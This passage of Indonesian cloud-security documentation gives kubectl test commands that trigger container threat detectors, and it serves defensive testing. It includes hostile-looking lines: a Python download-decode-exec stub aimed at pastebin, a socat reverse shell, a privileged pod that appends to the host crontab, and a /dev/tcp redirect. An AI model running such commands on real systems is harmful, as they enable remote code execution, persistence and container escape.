         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Node ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Prosedur pengujian ini membuat temuan Eksekusi: Alat Pengintaian Lokal yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Temuan di Cloud Logging hanya dapat dilihat jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Python Berbahaya Dieksekusi

Untuk memicu temuan Eksekusi Python Berbahaya: Python Berbahaya Dieksekusi, Anda dapat menjalankan Python dalam prosedur berikut di container Anda.

Prosedur ini men-deploy image Python terbaru, menyalin kode Python yang tampak berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, kode Python harus tampak berbahaya bagi detektor.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan skrip berikut di penampung baru.

    Kode Python ini berasal dari honeypot. Namun, file tersebut telah dimodifikasi sehingga tidak menjalankan biner berbahaya. Menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Program biner di URL yang dirujuk tidak ada dan upaya untuk membuka URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah hal yang memicu deteksi.

    • Node x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Node ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Prosedur pengujian ini membuat temuan Execution: Malicious Python Executed yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda mengonfigurasi pencatatan log untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Untuk pengurangan bising, saat Anda pertama kali membuat container, Container Threat Detection akan memfilter sementara temuan Execution: Malicious Python Executed. Untuk melihat semua temuan Execution: Malicious Python Executed saat menyiapkan container, tambahkan awalan ktd-test ke nama container atau nama pod Anda, seperti dalam contoh.

Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi

Untuk memicu temuan Eksekusi: Eksekusi Biner Berbahaya yang Dimodifikasi, ubah biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, mengubah /etc/issue menjadi file berbahaya pengujian EICAR, lalu mengeksekusinya. Eksekusi biner tidak terduga karena /etc/issue yang dibuat dimodifikasi selama runtime container sebagai biner berbahaya pengujian EICAR, dan biner EICAR adalah file berbahaya yang diketahui menurut intelijen ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan biner EICAR dan jalankan:

    • Node x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      
    • Node ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      

Prosedur pengujian ini membuat temuan Execution: Modified Malicious Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Library Berbahaya yang Dimodifikasi Dimuat

Untuk memicu temuan Eksekusi: Library Berbahaya yang Dimuat dan Dimodifikasi, ubah file yang ada dengan library berbahaya di penampung Anda, lalu muat. Contoh ini men-deploy image Ubuntu 24.04 terbaru, mengupdate file /etc/issue dengan library berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak terduga karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Tambahkan file EICAR dan muat:

    • Node x86:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      
    • Node ARM:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      

Prosedur pengujian ini membuat temuan Execution: Modified Malicious Library Loaded yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Netcat Remote Code Execution In Container

Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container, program biner yang mampu berkomunikasi melalui jaringan (seperti netcat itu sendiri, atau salinan aplikasi utilitas lain yang diganti namanya) harus ada dan dieksekusi di dalam container. Contoh ini men-deploy image Ubuntu 24.04 terbaru sebagai dasar. Contoh ini menyalin program biner /bin/ls dan mengganti nama salinan tersebut menjadi nc (aplikasi utilitas jaringan). Program biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang sesuai untuk interaksi jaringan. Aktivitas ini ditandai sebagai mencurigakan karena meniru perilaku yang sering diamati selama upaya eksekusi kode jarak jauh yang sebenarnya dalam lingkungan yang di-container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Perkenalkan biner alat komunikasi jaringan seperti nc dan jalankan dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      
    • Node ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      

Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In Container yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Temuan hanya dapat dilihat di Cloud Logging jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)

Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), eksekusi proses shell oleh foomatic-rip harus terjadi. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Tindakan ini menyalin /bin/bash ke /tmp/foomatic-rip. Biner yang diganti namanya dan disalin ini dijalankan sebagai skrip shell untuk membuat perintah shell turunan. Perilaku ini ditandai sebagai mencurigakan karena dapat menunjukkan upaya untuk mengeksekusi beban kerja arbitrer pada sistem yang disusupi.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan perintah dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      
    • Node ARM:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      

Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi

Untuk memicu temuan Execution: Possible Remote Command Execution Detected (Pratinjau), eksekusi perintah atau program biner yang biasanya terkait dengan eksekusi perintah jarak jauh harus diamati dalam container. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi touch (atau alat lain seperti find). Program biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang sesuai untuk eksekusi perintah jarak jauh. Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk membuat akses jarak jauh yang tidak sah ke atau dari container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner seperti touch dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Node ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      

Prosedur pengujian ini membuat temuan Execution: Possible Remote Command Execution Detected yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Temuan hanya dapat dilihat di Cloud Logging jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Program Berjalan dengan Env. Proxy HTTP yang Tidak Diizinkan

Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env, jalankan program dalam penampung, tetapkan variabel lingkungan proxy HTTP ke nilai yang tidak diizinkan. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/ls disalin dan diganti namanya menjadi /tmp/curl. Biner yang diganti namanya ini kemudian dieksekusi dengan nilai yang tidak diizinkan yang ditetapkan untuk variabel lingkungan proxy HTTP (misalnya, HTTP_PROXY, http_proxy). Kombinasi eksekusi program dan keberadaan lingkungan proxy HTTP yang tidak diizinkan ditandai sebagai mencurigakan, karena menunjukkan upaya untuk berkomunikasi melalui proxy yang tidak sah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner yang mendukung jaringan, seperti curl, dan jalankan dengan variabel lingkungan proxy HTTP yang tidak diizinkan:

    • Node x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Node ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed HTTP Proxy Env yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Socat Reverse Shell Terdeteksi

Untuk memicu temuan Execution: Socat Reverse Shell Detected, koneksi reverse shell proses harus dibuat oleh utilitas socat. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas socat diinstal dan pemroses tcp lokal dibuat, lalu diikat oleh utilitas socat. Reverse shell yang dibuat oleh socat ditandai sebagai mencurigakan karena memungkinkan penyerang menjalankan workload arbitrer pada sistem.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Buat penampung dan jalankan utilitas socat:

    • Node x86:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      
    • Node ARM:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      

Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Modifikasi Cron Mencurigakan (Pratinjau)

Untuk memicu deteksi Modifikasi Cron yang Mencurigakan, ubah file /etc/crontab host dari container. Contoh ini men-deploy image Ubuntu 24.04 terbaru, dengan memasang sistem file root host ke dalam container. Kemudian, perintah ini akan memperbarui file crontab.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan perintah untuk mengubah file /etc/crontab host.

    • Node x86:

      tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Prosedur pengujian ini memicu temuan Modifikasi Cron yang Mencurigakan yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat

Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded, jalankan perintah openssl engine dengan argumen yang merupakan file yang diakhiri dengan ekstensi .so. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/ls disalin dan diganti namanya menjadi /tmp/openssl. Biner yang diganti namanya ini kemudian dieksekusi dengan argumen file engine dan .so palsu. Eksekusi openssl engine dengan file .so ditandai sebagai mencurigakan karena meniru perilaku objek bersama yang dimuat untuk mengeksekusi kode berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan openssl engine dengan argumen library objek bersama palsu:

    • Node x86:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      
    • Node ARM:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      

Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksfiltrasi: Meluncurkan Alat Penyalinan File Jarak Jauh di Container

Untuk memicu temuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat penyalinan file jarak jauh umum dalam container. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/ls disalin dan diganti namanya menjadi /tmp/rsync, lalu dieksekusi untuk mengambil file dari sumber jarak jauh yang berpotensi berisi malware. Eksekusi alat tersebut dengan argumen pengambilan file jarak jauh dalam penampung ditandai sebagai mencurigakan, karena dapat mengindikasikan upaya untuk mendownload dan mengeksekusi kode berbahaya atau memindahkan data secara tidak sah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan alat penyalinan file jarak jauh, seperti rsync, lalu jalankan:

    • Node x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Node ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools In Container yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Temuan hanya dapat dilihat di Cloud Logging jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Mendeteksi Cmdline Berbahaya

Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau), eksekusi command line dengan pola atau argumen berbahaya yang diketahui harus diamati dalam container. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Proses ini melibatkan penyalinan biner /bin/ls dan mengganti nama salinan tersebut menjadi ipfs. Biner yang diganti namanya kemudian dieksekusi. Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk menjalankan kode berbahaya atau melewati kontrol keamanan.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner seperti ipfs:

    • Node x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Node ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Menghapus Data Massal dari Disk

